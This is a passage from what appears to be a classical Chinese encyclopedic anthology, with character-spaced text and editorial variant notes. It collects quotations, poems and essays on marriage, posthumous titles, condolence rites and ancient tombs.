女 . 上 为 放 供 帐 . 赐 甲 第 . 充 乘 舆 服 饰 . 时 号 为 天 子 取 妇 . 皇 后 嫁 女 . 事 具 人 部 宠 幸 篇 .\n风 俗 通 曰 . 两 袒 . 俗 说 齐 人 有 女 . 二 人 求 之 . 东 家 子 丑 而 富 . 西 家 子 好 而 贫 . 父 母 疑 不 能 决 . 问 其 女 定 所 欲 适 . 难 指 斥 言 者 . 偏 袒 令 我 知 之 . 女 便 两 袒 . 怪 问 其 故 . 云 欲 东 家 食 . 西 家 宿 . 此 为 两 袒 者 也 .\n楚 国 先 贤 传 曰 . 孙 俊 . 字 文 英 . 与 李 元 礼 俱 娶 太 尉 桓 焉 女 . 时 人 谓 桓 叔 元 两 女 俱 乘 龙 . 言 得 婿 如 龙 也 .\n世 说 曰 . 王 戎 俭 愆 . 其 从 子 婚 . 与 一 单 衣 裁 . 后 更 责 之 . 戎 女 适 裴 氏 . 贷 钱 数 万 . 女 归 . 戎 色 不 说 . 女 还 钱 . 乃 怿 .\n又 曰 . 温 峤 从 ○ 太 平 御 览 五 百 四 十 一 下 有 姑 字 . 刘 氏 家 . 值 乱 离 . 唯 有 一 女 . 甚 有 慧 . 姑 以 属 峤 索 婚 . 峤 密 自 有 婚 意 . 答 云 . 佳 婿 难 得 . 但 如 峤 比 云 何 . 姑 答 曰 . 丧 破 之 余 . 乞 得 粗 相 存 活 . 便 足 慰 吾 余 年 . 敢 希 汝 比 . 却 数 日 . 峤 报 姑 云 . 已 得 婚 处 . 门 地 粗 可 . 婿 身 不 减 峤 . 因 下 玉 镜 台 一 枚 . 姑 大 喜 . 既 婚 交 礼 . 女 以 手 披 纱 扇 大 笑 . 固 嫌 是 此 老 奴 . 果 如 所 疑 . 玉 镜 台 是 峤 为 刘 越 石 长 史 北 征 刘 聪 所 得 也 .\n【 诗 】 晋 嵇 含 伉 俪 诗 曰 . 余 执 百 两 辔 . 之 子 诗 采 蘩 . 我 被 双 丝 绢 . 着 以 同 功 绵 . 夏 摇 比 翼 扇 . 冬 卧 蛩 蛩 毡 . 饥 餐 并 粮 粒 . 渴 饮 一 流 泉 . 临 轩 树 萱 草 . 中 庭 植 合 欢 .\n梁 何 逊 看 新 婚 诗 曰 . 雾 夕 莲 出 水 . 霞 朝 日 照 梁 . 何 如 花 烛 夜 . 轻 扇 掩 红 妆 . 良 人 已 灼 灼 . 席 上 自 生 光 . 所 悲 高 驾 动 . 环 佩 出 长 廊 .\n梁 刘 瑗 咏 左 右 新 婚 诗 曰 . 小 使 如 初 日 . 得 妇 类 行 云 . 琴 声 妾 曾 听 . 桃 子 婿 经 分 . 娥 眉 参 意 画 . 绣 被 共 笼 薰 . 偏 增 使 君 度 . 无 趣 遣 相 闻 .\n陈 周 弘 正 看 新 婚 诗 曰 . 莫 愁 年 十 五 . 来 聘 子 都 家 . 婿 颜 如 美 玉 . 妇 色 胜 桃 花 . 带 啼 疑 暮 雨 . 含 笑 似 朝 霞 . 暂 却 轻 纨 扇 . 倾 城 判 不 赊 .\n【 赋 】 魏 陈 王 曹 植 感 婚 赋 曰 . 阳 气 动 兮 淑 清 . 百 卉 郁 兮 含 英 . 春 风 起 兮 萧 条 . 蛰 虫 出 兮 悲 鸣 . 顾 有 怀 兮 妖 人 . 用 搔 首 兮 屏 营 . 澄 清 台 以 荡 志 . 状 高 轩 而 游 情 . 悲 良 媒 之 不 顾 . 惧 欢 媾 之 不 成 . 慨 仰 首 而 叹 息 . 风 飘 飖 以 动 缨 .\n晋 张 华 感 婚 赋 曰 . 婚 姻 者 . 竞 赴 良 时 . 虽 葩 英 肯 顾 . 乃 作 感 婚 赋 曰 . 窈 窕 初 茂 . 玉 质 始 盛 . 容 华 外 丰 . 心 神 内 正 . 接 轸 连 骑 . 隐 隐 习 习 . 充 街 塞 里 . 晖 曜 城 邑 . 相 丽 姿 之 绰 约 兮 . 遥 髣 佛 以 感 心 . 怨 佳 人 之 幽 翳 兮 . 恨 检 防 之 高 深 .\n【 箴 】 晋 挚 虞 新 婚 箴 曰 . 今 在 哲 文 . 遭 家 不 造 . 结 发 之 丽 . 不 同 偕 老 . 既 纳 新 配 . 内 芬 外 藻 . 厚 味 腊 毒 . 大 命 将 夭 . 色 不 可 耽 . 命 不 可 轻 . 君 子 是 惮 . 敢 告 后 生 .\n晋 潘 岳 答 新 婚 箴 曰 . 女 实 存 色 . 男 实 好 德 . 德 在 正 色 . 色 在 不 惑 . 故 新 旧 兼 弘 . 义 申 理 得 . 君 子 过 虑 . 爱 己 明 箴 . 防 微 测 显 . 文 丽 旨 深 . 敬 纳 嘉 诲 . 敢 酬 德 音 .\n晋 王 廙 妇 德 箴 曰 . 团 团 明 月 . 魄 满 则 缺 . 亭 亭 阳 晖 . 曜 过 则 逝 . 天 地 犹 有 盈 亏 . 况 华 艳 之 浮 孽 . 是 以 淑 女 鉴 之 . 战 战 干 干 . 相 彼 七 出 . 顺 此 话 言 . 惧 兹 屋 漏 . 畏 斯 新 垣 . 在 昧 无 愧 . 幽 不 改 虔 .\n【 启 】 梁 刘 孝 仪 为 王 仪 ○ 全 梁 文 六 十 一 仪 下 有 同 字 . 谢 国 姻 启 曰 . 即 日 . 主 书 王 静 民 宣 敕 . 安 告 ○ 全 梁 文 作 吉 . 主 降 嫔 臣 第 三 息 实 . 臣 素 里 庸 族 . 蓬 衡 贱 品 . 事 隔 伊 之 礼 . 望 绝 下 嫁 之 姬 . 而 圣 慈 猥 洽 . 皇 姻 曲 建 . 荆 布 陋 饰 . 已 膺 凡 奖 . 负 薪 微 胤 . 复 降 肃 邕 . 频 烦 叨 荷 . 内 外 荣 抃 .\n【 教 】 梁 简 文 帝 资 遣 孔 焘 二 女 教 曰 . 夫 思 人 生 至 卿 .\n○ 句 有 讹 . 事 惟 悼 往 . 表 闾 式 墓\n. 义 匪 字 孤 . 至 如 游 殷 之 息 . 见 抚 张 既 . 桥 玄 之 子 . 受\n托 魏 王 . 斯 故 美 在 令 终 . 受 兼 身 后 . 故 无 锡 令 孔 焘 . 经\n术 弘 长 . 志 履 贞 概 . 游 处 积 年 . 一 朝 长 往 . 闻 其 在 室 二\n女 . 并 未 有 行 . 可 广 访 姻 家 . 务 求 偶 对 .\n韦 昭 辩 释 名 曰 . 古 者 诸 侯 薨 . 则 天 子 论 行 以 赐 谥 . 唯 王 者 无 上 . 故 于 南 郊 称 天 以 谥 之 . 当 春 秋 时 . 周 室 卑 微 . 臣 谥 其 父 . 故 诸 侯 之 谥 . 多 不 以 实 .\n古 史 考 曰 . 谥 礼 . 待 葬 而 谥 . 所 以 尊 名 也 . 其 行 善 恶 恶 为 谥 . 所 以 勉 为 善 也 .\n礼 记 曰 . 已 孤 暴 贵 . 不 为 父 作 谥 .\n又 曰 . 公 叔 文 子 卒 . 其 子 请 谥 于 君 曰 . 日 月 有 时 . 将 葬 矣 . 请 所 以 易 其 名 . 君 曰 . 昔 者 卫 国 凶 饥 . 夫 子 为 粥 与 国 之 饿 者 . 是 不 亦 惠 乎 . 昔 卫 国 有 难 . 夫 子 以 其 死 卫 寡 人 . 不 亦 贞 乎 . 夫 子 听 卫 国 之 政 . 修 其 班 制 . 社 稷 不 辱 . 不 亦 文 乎 . 谥 夫 子 贞 惠 文 子 .\n大 戴 礼 曰 . 武 王 践 阼 曰 . 谥 者 行 之 迹 也 . 是 以 大 行 受 大 名 . 小 行 受 小 名 . 行 出 乎 己 . 名 出 乎 人 .\n左 传 曰 . 无 骇 卒 . 羽 父 请 谥 与 族 . 公 问 于 众 仲 . 众 仲 对 曰 . 天 子 建 德 . 因 生 以 赐 姓 . 胙 之 土 而 命 之 氏 . 诸 侯 以 字 . 官 有 世 功 则 有 官 族 . 邑 亦 如 之 . 公 命 以 字 . 为 展 氏 .\n论 语 曰 . 子 夏 问 曰 . 孔 文 子 何 以 谓 之 文 也 . 子 曰 . 敏 而 好 学 . 不 耻 下 问 . 是 以 谓 之 文 也 . 事 具 文 部 文 质 篇 目 .\n春 秋 说 题 辞 曰 . 号 者 功 之 表 . 谥 者 行 之 迹 . 所 以 追 劝 成 德 . 使 尚 务 节 .\n穆 天 子 传 曰 . 为 盛 姬 谥 曰 哀 淑 人 .\n列 女 传 曰 . 鲁 黔 娄 先 生 死 . 曾 子 与 门 人 往 吊 焉 . 曰 . 何 以 为 谥 . 其 妻 曰 . 以 康 为 谥 . 昔 者 先 生 . 君 尝 赐 之 粟 二 十 钟 . 先 生 辞 而 不 受 . 是 其 有 余 富 也 . 君 尝 欲 授 之 国 相 . 先 生 辞 而 弗 为 . 是 有 余 贵 也 . 求 仁 而 得 仁 . 求 义 而 得 义 . 其 谥 为 康 . 不 亦 宜 乎 .\n汉 书 曰 . 霍 去 病 . 元 狩 六 年 薨 . 上 悼 之 . 发 属 国 玄 甲 军 . 陈 自 长 安 至 茂 陵 . 为 冢 象 祁 连 山 . 谥 之 景 桓 侯 . 谥 法 . 仁 义 行 刚 曰 景 . 辟 土 行 远 曰 桓 .\n又 曰 . 贾 山 奏 事 曰 . 古 者 圣 王 作 谥 . 三 四 十 世 尔 . 虽 尧 舜 禹 汤 文 武 . 累 世 广 德 . 以 为 子 孙 基 业 . 无 过 二 三 十 世 也 . 秦 始 皇 帝 曰 . 死 而 以 谥 法 . 是 父 子 名 号 . 有 时 相 袭 也 . 以 一 至 万 . 则 世 世 不 相 复 也 . 故 死 而 号 曰 始 皇 帝 .\n五 经 通 义 曰 . 谥 者 死 后 之 称 . 累 生 时 之 行 而 谥 之 . 生 有 善 行 . 死 有 善 谥 . 所 以 劝 善 戒 恶 也 . 谥 之 言 列 其 所 行 . 身 虽 死 . 名 常 存 . 故 谓 谥 也 .\n东 观 汉 记 曰 . 吴 汉 爵 位 奉 赐 最 尊 重 . 然 但 治 宅 . 不 起 巷 第 . 恭 俭 如 此 . 病 薨 . 奏 谥 曰 . 有 司 议 宜 以 为 武 昭 . 特 赐 谥 曰 忠 侯 .\n张 璠 汉 记 曰 . 范 丹 . 中 平 二 年 卒 . 三 府 各 遣 令 史 奔 吊 . 累 行 论 谥 . 佥 曰 宜 为 贞 节 先 生 . 会 葬 二 千 余 人 .\n荀 氏 家 传 曰 . 荀 爽 对 策 曰 . 臣 闻 火 生 于 木 . 故 其 德 孝 . 汉 之 谥 帝 称 孝 者 . 其 义 取 此 也 . 故 汉 制 . 使 天 下 皆 诵 孝 经 . 选 吏 则 举 孝 廉 . 以 孝 为 务 也 .\n中 兴 书 曰 . 中 宗 即 尊 号 也 . 时 赐 谥 多 由 封 爵 . 不 考 德 行 . 王 导 曰 . 近 代 以 来 . 唯 爵 得 谥 . 武 官 牙 门 . 有 爵 必 谥 . 卿 校 常 伯 . 无 爵 悉 不 赐 谥 . 甚 失 制 谥 之 本 . 今 中 兴 肇 建 . 勋 德 兼 备 . 宜 深 体 前 训 . 使 行 以 谥 彰 . 中 宗 纳 焉 . 自 后 公 卿 无 爵 而 谥 . 自 导 始 也 .\n【 表 】 梁 陆 倕 为 张 缵 谢 兄 尚 书 谥 靖 子 表 曰 . 亡 兄 夙 遘 皇 慈 . 早 邀 灵 庆 . 立 言 着 绩 . 未 酬 天 宠 . 门 衰 祚 寡 . 遽 辞 昌 运 . 拊 心 摧 恨 . 私 怀 罔 极 . 日 月 告 时 . 幽 埏 浸 远 . 王 人 猥 集 . 佳 册 光 临 . 荣 溢 里 庭 . 恩 沉 松 槚 .\n【 议 】 晋 张 华 晋 文 王 谥 议 曰 . 殊 位 盛 礼 . 实 隆 明 德 . 班 爵 崇 宠 . 亦 光 茂 勋 . 至 于 表 名 赠 号 . 世 考 洪 烈 . 冠 声 无 穷 者 . 莫 尚 于 号 谥 也 . 论 功 高 于 禹 稷 . 比 德 迈 于 伊 周 .\n【 书 】 齐 虞 义 ○ 按 当 作 羲 . 与\n萧 令 王 仆 射 书 . 为 袁 彖 求 谥 曰 . 袁 侍 中 体 高 亮 之 宏 姿 .\n挺 孤 奇 之 逸 操 . 孝 友 结 于 衡 闾 . 忠 正 表 于 邦 域 . 怀 抱 七\n经 . 该 综 百 氏 . 清 文 丽 目 . 几 义 穷 神 . 言 非 义 而 不 发 .\n容 导 礼 而 后 动 . 居 贫 无 闷 . 事 等 安 期 . 处 显 不 惊 . 道 均\n无 叹 . 兄 弟 亲 从 . 同 居 共 财 . 怡 怡 雍 穆 . 人 所 不 闲 . 顾\n与 善 无 征 . 报 施 徒 语 . 岱 山 委 岫 . 昆 岳 摧 峰 . 四 海 搢 绅\n. 谁 不 掩 泣 . 明 公 德 冠 时 宗 . 道 高 物 表 . 若 得 横 议 圣 时\n. 斟 酌 今 古 . 采 茂 实 于 当 年 . ● 芳 流 于 千 载 . 驰 徽 谥 于\n山 道 . 润 贞 气 于 泉 门 . 岂 非 体 国 之 至 公 . 典 谟 之 盛 轨 者\n哉 .\n又 曰 . 庄 公 十 一 年 . 宋 大 水 . 公 使 吊 焉 . 曰 . 天 作 淫 雨 . 害 于 粢 盛 . 若 之 何 不 吊 . 对 曰 . 孤 实 不 敬 . 天 降 之 灾 . 以 为 君 忧 . 拜 命 之 辱 .\n礼 记 曰 . 知 生 者 吊 . 知 死 者 伤 . 知 生 而 不 知 死 . 吊 而 不 伤 . 知 死 而 不 知 生 . 伤 而 不 吊 . 吊 丧 弗 能 赙 . 弗 问 其 所 欲 .\n又 曰 . 五 十 无 车 者 . 不 越 疆 而 吊 人 . 吊 于 人 . 是 日 不 乐 . 妇 人 不 越 疆 而 吊 人 . 行 吊 之 日 . 不 饮 酒 食 肉 焉 . 吊 于 葬 者 . 必 执 引 . 若 从 及 圹 . 皆 执 绋 .\n又 曰 . 子 夏 丧 其 子 而 丧 其 明 . 曾 子 吊 之 曰 . 吾 闻 之 曰 . 朋 友 丧 明 . 则 哭 之 .\n家 语 曰 . 史 鱼 将 卒 . 命 其 子 曰 . 吾 在 朝 . 不 能 进 蘧 伯 玉 . 退 弥 子 瑕 . 是 不 能 正 君 . 不 可 以 成 礼 . 我 死 . 汝 其 置 尸 牖 下 . 灵 公 吊 焉 . 怪 而 问 之 . 其 子 以 父 言 告 . 公 曰 . 寡 人 过 也 . 令 殡 于 客 位 . 进 蘧 伯 玉 . 退 弥 子 瑕 . 孔 子 曰 . 史 鱼 死 而 尸 谏 . 可 谓 直 乎 . 事 具 人 部 讽 篇 .\n庄 子 曰 . 孔 子 围 于 陈 蔡 之 间 . 七 日 不 火 食 . 太 公 任 吊 之 曰 . 几 死 乎 . 曰 . 然 . 子 恶 死 乎 . 曰 . 然 . 任 曰 . 直 木 先 伐 . 甘 井 先 竭 . 子 其 意 者 . 饰 智 以 惊 愚 . 修 身 以 明 行 . 昭 昭 乎 如 揭 日 月 而 行 . 故 不 免 .\n又 曰 . 庄 子 妻 死 . 惠 子 吊 之 . 则 方 箕 踞 鼓 盆 而 歌 .\n淮 南 子 曰 . 北 塞 上 之 有 喜 道 者 . 其 马 无 故 亡 入 胡 中 . 人 皆 吊 之 . 其 父 曰 . 此 何 讵 不 乃 为 福 . 居 数 月 . 其 马 将 胡 骏 马 而 归 . 人 皆 贺 之 . 其 父 曰 . 此 何 讵 不 乃 为 祸 . 家 富 马 良 . 其 子 骑 马 . 堕 而 拆 髀 . 人 皆 吊 之 . 其 父 曰 . 此 何 讵 不 乃 为 福 . 居 一 年 . 胡 夷 大 出 . 丁 壮 者 皆 控 弦 而 战 . 塞 上 之 人 死 者 十 九 . 此 独 跂 足 . 故 子 父 相 保 . 事 具 战 部 马 篇 .\n说 苑 曰 . 孙 叔 敖 为 楚 令 尹 . 吏 民 皆 贺 . 有 一 老 父 . 衣 衣 冠 . 后 吊 曰 . 身 贵 而 骄 人 者 . 民 去 之 . 位 高 擅 权 者 . 民 恶 之 . 禄 厚 而 不 知 止 者 . 患 处 之 . 孙 叔 敖 再 拜 曰 . 敬 受 命 . 愿 闻 余 教 . 父 曰 . 位 已 高 而 身 益 卑 . 意 益 大 而 心 益 小 . 禄 已 厚 而 慎 不 敢 取 . 言 ○ 太 平 御 览 五 百 六 十 一 言 字 无 . 君 谨 守 此 三 者 . 足 以 治 楚 .\n汉 书 曰 . 龚 胜 死 . 有 老 父 来 吊 . 其 哭 甚 哀 . 既 而 曰 . 嗟 乎 . 薰 以 香 自 烧 . 膏 以 明 自 销 . 龚 生 竟 夭 天 年 . 非 吾 徒 也 . 遂 趍 而 出 . 莫 知 其 谁 .\n虞 翻 别 传 曰 . 翻 放 弃 南 方 . 自 恨 疏 斥 . 当 长 没 海 隅 . 生 无 可 与 语 . 死 以 青 蝇 为 吊 客 . 天 下 一 人 知 己 者 . 足 以 不 恨 . 以 典 籍 自 慰 .\n挚 虞 决 疑 要 注 曰 . 礼 . 臣 丧 其 父 母 . 则 赴 于 君 . 君 吊 之 . 汉 太 傅 胡 广 丧 母 . 天 子 使 谒 者 . 以 中 牢 吊 祭 . 具 送 葬 . 魏 司 空 陈 群 丧 母 . 使 者 吊 祭 如 故 事 . 又 使 黄 门 侍 郎 杜 恕 . 奉 诏 慰 问 .\n又 曰 . 国 家 同 姓 王 公 妃 主 . 发 哀 于 东 堂 . 凡 使 者 监 哀 吊 祭 同 姓 者 . 素 冠 帻 . 白 练 深 衣 . 器 用 皆 素 . 吊 祭 异 姓 者 . 服 色 器 用 不 变 也 .\n又 曰 . 古 素 冠 锡 衰 为 吊 服 . 今 以 白 夹 深 衣 为 服 . 深 衣 即 单 衣 也 . 锡 细 麻 疏 也 .\n【 赋 】 汉 司 马 相 如 吊 秦 二 世 赋 曰 . 登 陂 阤 之 长 阪 . 入 曾 宫 之 嵯 峨 . 临 曲 江 之 溰 州 . 望 南 山 之 参 差 . 岩 岩 深 山 . 涳 涳 通 谷 . 豁 乎 ● . 泊 乎 沟 ● 以 永 逝 . 注 平 皋 之 广 衍 . 观 众 树 之 蓊 薆 . 览 竹 林 之 榛 榛 . 东 驰 土 山 . 北 偈 石 濑 . 弭 节 容 与 . 历 吊 二 世 . 持 身 不 谨 . 亡 国 失 势 . 信 谗 不 寤 . 宗 庙 灭 绝 . 呜 呼 掺 行 之 不 得 . 坟 墓 芜 秽 而 不 修 . 魂 魄 亡 归 而 不 食 .\n晋 傅 咸 吊 秦 始 皇 赋 曰 . 余 治 狱 至 长 安 . 观 乎 阿 房 . 而 吊 始 皇 曰 . 伤 秦 政 之 为 暴 . 弃 仁 义 以 自 亡 . 搦 纸 申 辞 . 以 吊 始 皇 . 有 姬 失 统 . 命 不 于 常 . 六 国 既 平 . 奄 有 万 方 . 政 虐 刑 酷 . 如 火 之 扬 . 致 周 章 之 百 万 . 取 发 掘 于 项 王 . 疲 斯 民 乎 宫 墓 . 甚 癸 辛 于 夏 商 . 未 旋 踵 而 为 墟 . 屯 獐 麋 乎 庙 堂 . 国 既 颠 而 莫 扶 . 孰 阻 兵 之 为 强 .\n【 文 】 汉 贾 谊 吊 屈 原 文 曰 . 鸾 鸟 伏 窜 . 鸱 枭 翱 翔 . 谓 随 夷 溷 兮 . 跖 跷 为 廉 . 莫 耶 为 钝 兮 . 铅 刀 为 铦 . 腾 驾 罢 牛 骖 蹇 驴 . 骥 垂 两 耳 服 盐 车 . 所 贵 圣 人 之 神 德 . 远 浊 世 而 自 藏 . 使 骐 麟 可 系 而 羁 . 岂 云 异 夫 犬 羊 .\n后 汉 蔡 邕 吊 屈 原 文 曰 . 鸋 鴃 轩 翥 . 鸾 凤 挫 翮 . 啄 碎 琬 琰 . 宝 其 瓴 甋 . 皇 车 奔 而 失 辖 . 执 辔 忽 而 不 顾 . 卒 坏 覆 而 不 振 . 顾 抱 石 其 何 补 .\n晋 潘 岳 吊 孟 尝 君 文 曰 . 人 罔 贵 贱 . 士 无 真 伪 . 延 入 如 归 . 望 宾 若 企 . 出 掘 秦 机 . 入 专 齐 政 . 右 眄 而 嬴 强 . 左 顾 而 田 竞 . 且 以 造 化 为 水 . 天 地 为 舟 . 乐 则 齐 喜 . 哀 则 同 忧 . 岂 区 区 之 国 . 而 大 邦 是 谋 . 琐 琐 之 身 . 而 名 利 是 求 . 畏 首 畏 尾 . 东 奔 而 囚 . 志 挠 于 木 偶 . 命 悬 于 狐 裘 .\n晋 陆 机 吊 魏 武 帝 文 曰 . 夫 以 回 天 倒 日 之 力 . 而 不 能 振 形 骸 之 内 . 济 世 夷 难 之 智 . 而 受 困 魏 阙 之 下 . 格 乎 上 下 者 . 藏 于 区 区 之 木 . 光 于 四 表 者 . 翳 乎 蕞 尔 之 土 . 雄 心 权 于 弱 愤 . 壮 图 终 于 哀 志 . 长 筭 屈 于 短 日 . 远 迹 顿 于 促 路 . 持 姬 女 而 指 季 豹 以 示 四 子 曰 . 以 累 汝 . 因 泣 下 . 伤 哉 . 曩 以 天 下 自 任 . 今 以 爱 子 托 人 .\n又 曰 . 吾 婕 妤 伎 人 . 皆 着 铜 爵 台 上 . 施 六 尺 床 . 下 穗 帐 . 朝 脯 设 脯 糒 之 属 . 月 朝 十 五 日 . 辄 向 帐 作 伎 . 汝 等 时 时 登 铜 雀 台 . 望 吾 西 陵 墓 田 . 又 云 . 余 香 可 与 诸 夫 人 . 诸 舍 中 无 为 . 学 作 履 组 卖 也 . 吾 历 官 所 得 绢 . 皆 着 藏 中 . 吾 余 衣 裘 . 可 别 为 一 藏 . 不 能 者 . 兄 弟 可 共 分 之 . 威 先 天 而 盖 世 . 力 荡 海 而 拔 山 . 厄 奚 险 而 弗 济 . 敌 何 强 而 不 残 . 违 率 土 以 靖 寐 . 戢 弥 天 之 一 棺 . 惜 内 顾 之 缠 绵 . 恨 未 命 之 微 详 . 纡 家 人 于 履 组 . 尘 清 虑 于 余 香 . 结 遗 情 之 婉 娈 . 何 命 促 而 意 长 . 宣 备 物 于 虚 器 . 发 哀 音 于 旧 倡 . 矫 戚 容 以 赴 节 . 掩 零 泪 而 荐 觞 . 征 清 丝 而 独 奏 . 进 脯 糒 而 谁 尝 . 悼 穗 帐 之 冥 漠 . 怨 西 陵 之 茫 茫 . 登 雀 台 而 群 悲 . 眝 美 目 其 何 望 . 览 遗 籍 以 慷 恺 . 献 兹 文 而 凄 伤 .\n又 吊 蔡 邕 文 曰 . 彼 洪 川 之 方 割 . 岂 一 等 ○ 本 集 作 篑 . 之 所 堙 . 故 尼 父 之 惠 训 . 智 必 愚 而 后 贤 . 谅 知 道 之 已 妙 . 曷 信 道 之 未 坚 . 忽 宁 子 之 保 己 . 效 苌 叔 之 违 天 . 冀 澄 河 之 远 日 . 忘 朝 露 之 短 年 .\n晋 庾 阐 吊 贾 生 文 曰 . 飞 荣 洛 汭 . 濯 颖 山 东 . 质 清 浮 磬 . 声 若 孤 桐 . 琅 琅 其 璞 . 岩 岩 其 峰 . 信 道 居 正 . 天 下 为 公 . 方 驾 逸 步 . 不 以 曲 路 期 通 . 是 以 张 高 弦 悲 . 声 激 柱 落 . 清 唱 未 和 . 而 桑 濮 代 作 . 昔 皋 陶 虞 . 吕 尚 归 昌 . 德 协 允 符 . 乃 应 帝 王 . 夷 吾 相 桓 . 汉 登 萧 张 . 草 庐 三 顾 . 臭 若 兰 芳 . 奈 何 摧 景 飙 风 . 独 丧 厥 明 . 悠 悠 大 素 . 存 亡 一 指 . 道 来 斯 通 . 世 往 斯 否 . 吾 哀 其 生 . 未 见 其 死 . 敢 不 敬 吊 . 寄 之 渌 水 .\n宋 袁 淑 吊 古 文 曰 . 贾 谊 发 愤 于 湘 江 . 长 卿 愁 悉 于 园 邑\n. 彦 真 因 文 以 悲 出 . 伯 喈 炫 史 而 求 入 . 文 举 疏 诞 以 殃 速\n. 德 祖 精 密 而 祸 及 . 夫 然 . 不 患 思 之 贫 . 无 若 识 之 浅 .\n士 以 伐 能 见 斥 . 女 以 骄 色 贻 遣 . 以 往 古 为 镜 鉴 . 以 未 来\n为 针 艾 . 书 余 言 于 子 绅 . 亦 何 劳 乎 蓍 蔡 .\n又 曰 . 赵 文 子 与 叔 誉 观 九 原 . 文 子 曰 . 死 如 可 作 . 吾 谁 与 归 . 叔 誉 曰 . 其 阳 处 父 乎 . 文 子 曰 . 其 智 不 足 称 也 . 其 臼 犯 乎 . 文 子 曰 . 其 仁 不 足 称 也 . 我 则 随 武 子 乎 . 利 君 不 忘 其 身 . 谋 身 不 遗 其 友 .\n越 绝 书 曰 . 阖 庐 冢 在 昌 门 外 . 铜 椁 三 重 . 洪 池 六 尺 . 玉 凫 之 流 . 扁 诸 之 剑 三 千 . 干 将 鱼 肠 之 剑 在 焉 . 十 万 人 筑 治 之 . 吴 越 春 秋 又 载 . 事 具 山 部 .\n史 记 曰 . 樗 里 子 卒 . 葬 渭 南 章 台 之 东 . 曰 . 后 一 百 岁 . 当 有 天 子 之 宫 夹 我 墓 . 至 汉 兴 . 长 乐 宫 在 其 东 . 未 央 在 其 西 . 武 库 正 当 其 墓 .\n汉 书 曰 . 原 涉 自 以 先 人 坟 墓 俭 约 . 非 孝 也 . 乃 大 治 冢 舍 . 周 阁 重 门 . 初 武 帝 时 . 京 兆 曹 氏 葬 茂 陵 . 民 谓 其 道 为 京 兆 阡 . 涉 墓 ○ 汉 书 九 十 二 原 涉 传 作 慕 . 之 . 乃 买 地 开 道 . 立 署 曰 南 阳 阡 . 人 不 肯 从 . 谓 之 原 氏 阡 .\n杨 雄 家 谍 曰 . 子 云 以 天 凤 五 年 卒 . 葬 安 陵 阪 上 . 所 厚 沛 郡 桓 君 山 . 平 陵 如 子 礼 . 弟 子 钜 鹿 侯 芭 . 共 为 治 丧 . 诸 公 遣 世 子 朝 臣 郎 吏 行 事 者 会 送 . 桓 君 山 为 敛 赙 . 起 祠 茔 . 侯 芭 负 土 作 坟 . 号 曰 玄 冢 .\n博 物 志 曰 . 汉 滕 公 夏 侯 婴 死 . 公 卿 送 葬 至 东 都 门 外 . 马 不 行 . 殕 地 悲 鸣 . 得 石 椁 . 有 铭 曰 . 佳 城 郁 郁 . 三 千 年 见 白 日 . 吁 嗟 滕 公 居 此 室 . 乃 葬 之 .\n范 晔 后 汉 书 曰 . 杨 震 为 樊 丰 等 所 谮 . 饮 酖 卒 . 先 葬 十 余 日 . 有 大 鸟 . 高 丈 余 . 集 震 丧 前 . 俯 仰 悲 鸣 . 泪 下 沾 地 . 葬 毕 乃 飞 去 . 于 是 立 石 鸟 象 于 墓 所 .\n梁 州 记 曰 . 武 侯 垒 东 南 . 有 定 军 山 . 入 山 十 余 里 . 有 诸 葛 武 侯 墓 . 钟 会 征 蜀 . 至 汉 川 . 祭 亮 之 庙 . 令 军 士 不 得 于 墓 刍 牧 樵 采 . 今 松 柏 碑 铭 俨 然 .\n盛 弘 之 荆 州 记 曰 . 冠 军 县 东 . 有 魏 征 南 军 司 张 詹 墓 . 刻 其 碑 背 曰 . 白 楸 之 棺 . 易 朽 之 裳 . 铜 铁 不 入 . 瓦 器 不 藏 . 嗟 矣 后 人 . 幸 勿 我 伤 . 至 元 嘉 六 年 . 民 饥 . 始 被 发 . 金 银 朱 漆 之 器 . 雕 刻 烂 然 .\n荆 州 记 曰 . 郦 县 北 三 十 里 . 有 一 墓 . 甚 崇 伟 . 前 有 石 楼 . 高 一 丈 五 尺 . 上 作 石 凤 . 将 九 子 . 相 传 云 是 姚 家 墓 . 不 详 其 人 .\n异 苑 曰 . 魏 武 北 征 喻 ○ 太 平 御 览 五 百 五 十 九 作 蹋 . 顿 . 升 岭 眺 望 . 见 一 岗 . 不 生 百 草 . 王 粲 曰 . 必 是 古 冢 . 此 人 在 世 服 生 礜 石 . 死 而 石 生 . 势 蒸 出 外 . 致 卉 草 燋 灭 . 即 令 凿 看 . 果 得 墓 . 有 礜 石 满 茔 .\n皇 览 曰 . 苍 颉 冢 在 冯 翊 县 衙 ○ 太 平 御 览 五 百 五 十 九 作 衙 县 . 此 倒 . 利 阳 亭 南 . 道 旁 坟 高 六 尺 . 学 书 者 皆 祭 之 不 绝 .\n蚩 尤 冢 在 东 郡 寿 张 县 阚 ○ 太 平 御 览 五 百 五 十 九 作 阌 . 乡 城 中 . 高 七 丈 . 民 常 十 月 祀 之 . 有 赤 气 出 . 如 一 匹 绛 . 民 为 蚩 尤 旗 .\n伍 辑 之 从 征 记 曰 . 孔 丛 云 . 夫 子 墓 方 二 里 . 诸 弟 子 各 以 四 方 木 来 植 之 . 今 盘 根 犹 存 .\n魏 武 令 曰 . 故 北 中 郎 将 卢 植 . 名 着 海 内 . 学 为 儒 宗 . 士 之 楷 模 . 国 之 植 干 也 . 今 亟 遣 丞 相 掾 . 除 其 坟 墓 . 存 其 子 孙 . 并 致 薄 醊 . 以 彰 厥 德 .\n魏 志 曰 . 陈 思 王 薨 . 遣 葬 . 初 植 登 鱼 山 . 临 东 河 . 喟 然 有 叹 焉 之 心 . 遂 营 为 墓 .\n吴 志 曰 . 顾 邵 起 家 为 豫 章 太 守 . 下 车 祀 先 贤 徐 孺 子 墓 . 优 待 其 后 .\n又 曰 . 汉 末 . 关 中 乱 . 有 发 前 汉 时 宫 人 冢 者 . 犹 活 . 既 出 复 如 旧 . 郭 后 爱 念 之 . 常 置 左 右 . 问 当 时 宫 内 事 . 了 了 有 次 第 .\n王 隐 晋 书 曰 . 太 康 元 年 . 汲 县 民 盗 发 魏 安 厘 王 冢 . 得 竹 书 漆 字 古 书 . 有 易 卦 . 似 连 山 归 藏 文 . 有 春 秋 . 似 左 传 .\n搜 神 记 曰 . 宋 大 夫 韩 冯 . 取 妻 而 美 . 康 王 夺 之 . 俄 而 冯 自 杀 . 妻 乃 阴 腐 其 衣 . 王 与 登 台 . 遂 自 投 台 下 . 左 右 揽 之 . 衣 不 中 手 . 遗 书 于 带 曰 . 王 利 其 生 . 不 ○ 法 苑 珠 林 三 十 六 作 妾 . 利 其 死 . 愿 以 尸 骨 赐 冯 而 合 葬 乎 . 王 